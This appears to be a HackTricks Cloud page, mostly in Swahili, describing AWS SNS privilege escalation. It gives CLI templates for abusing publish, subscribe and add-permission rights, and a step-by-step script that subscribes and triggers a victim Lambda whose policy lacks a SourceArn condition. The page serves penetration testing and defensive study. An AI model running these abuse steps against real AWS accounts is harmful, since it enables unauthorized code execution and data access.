AWS - SNS Privesc
Reading time: 4 minutes
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
SNS
Kwa maelezo zaidi angalia:
sns:Publish
Mshambuliaji anaweza kutuma ujumbe wa hatari au usiotakikana kwenye SNS topic, jambo ambalo linaweza kusababisha uharibifu wa data, kuamsha vitendo visivyotarajiwa, au kumaliza rasilimali.
aws sns publish --topic-arn <value> --message <value>
Potential Impact: Utumiaji wa udhaifu, uharibifu wa data, vitendo visivyokusudiwa, au kusababisha kumalizika kwa rasilimali.
sns:Subscribe
Mshambuliaji anaweza kujisajili kwa SNS topic, akipata kwa hivyo ufikiaji usioidhinishwa wa ujumbe au kuingilia utendaji wa kawaida wa programu zinazotegemea topic hiyo.
aws sns subscribe --topic-arn <value> --protocol <value> --endpoint <value>
Athari Inayowezekana: Ufikiaji usioidhinishwa wa ujumbe (taarifa nyeti), kuathiri utoaji wa huduma kwa programu zinazotegemea SNS topic iliyohusika.
sns:AddPermission
Mshambuliaji anaweza kumpa watumiaji au huduma zisizoidhinishwa ufikiaji wa SNS topic, na hivyo kupata ruhusa zaidi.
aws sns add-permission --topic-arn <value> --label <value> --aws-account-id <value> --action-name <value>
Athari Inayoweza Kutokea: Ufikiaji usioidhinishwa kwa mada, kufichuka kwa ujumbe, au uharibu wa mada na watumiaji au huduma zisizoidhinishwa, kuingiliwa kwa utendakazi wa kawaida wa programu zinazotegemea mada.
Kuitisha Lambda kwa kutumia vibaya ruhusa za wildcard za SNS (hakuna SourceArn)
Ikiwa sera ya rasilimali ya Lambda function inaruhusu sns.amazonaws.com kuitisha bila kuzuia mada ya chanzo (SourceArn), mada yoyote ya SNS (hata kwa akaunti nyingine) inaweza kujisajili na kusababisha function. Mdukuzi mwenye ruhusa za msingi za SNS anaweza kulazimisha Lambda iendeshwe chini ya role yake ya IAM kwa pembejeo inayodhibitiwa na mdukuzi.
tip
TODO: Je, hili linaweza kufanywa kweli kwa akaunti nyingine?
Masharti ya awali
- Sera ya Lambda ya mwathirika ina taarifa kama ilivyo chini, bila sharti la
SourceArn:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Principal": {"Service": "sns.amazonaws.com"},
"Action": "lambda:InvokeFunction"
// No Condition/SourceArn restriction here
}
]
}
Hatua za matumizi mabaya (akaunti ile ile au kati ya akaunti)
# 1) Create a topic you control
ATTACKER_TOPIC_ARN=$(aws sns create-topic --name attacker-coerce --region us-east-1 --query TopicArn --output text)
# 2) Subscribe the victim Lambda to your topic
aws sns subscribe \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--protocol lambda \
--notification-endpoint arn:aws:lambda:us-east-1:<victim_acct_id>:function:<VictimFunctionName>
# 3) Publish an attacker-controlled message to trigger the Lambda
aws sns publish \
--region us-east-1 \
--topic-arn "$ATTACKER_TOPIC_ARN" \
--message '{"Records":[{"eventSource":"aws:s3","eventName":"ObjectCreated:Put","s3":{"bucket":{"name":"attacker-bkt"},"object":{"key":"payload.bin"}}}]}'
Athari Inayoweza Kutokea: Lambda ya mwathirika inaendesha kwa IAM role yake, ikichakata input inayodhibitiwa na attacker. Hii inaweza kutumika vibaya kumfanya function ifanye vitendo nyeti (mf., kuandika kwenye S3, kupata secrets, kubadilisha resources) kulingana na permissions zake.
tip
Jifunze na fanya mazoezi ya AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking:
HackTricks Training GCP Red Team Expert (GRTE)
Jifunze na fanya mazoezi ya Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Support HackTricks
- Angalia mpango wa usajili!
- Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
- Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.
HackTricks Cloud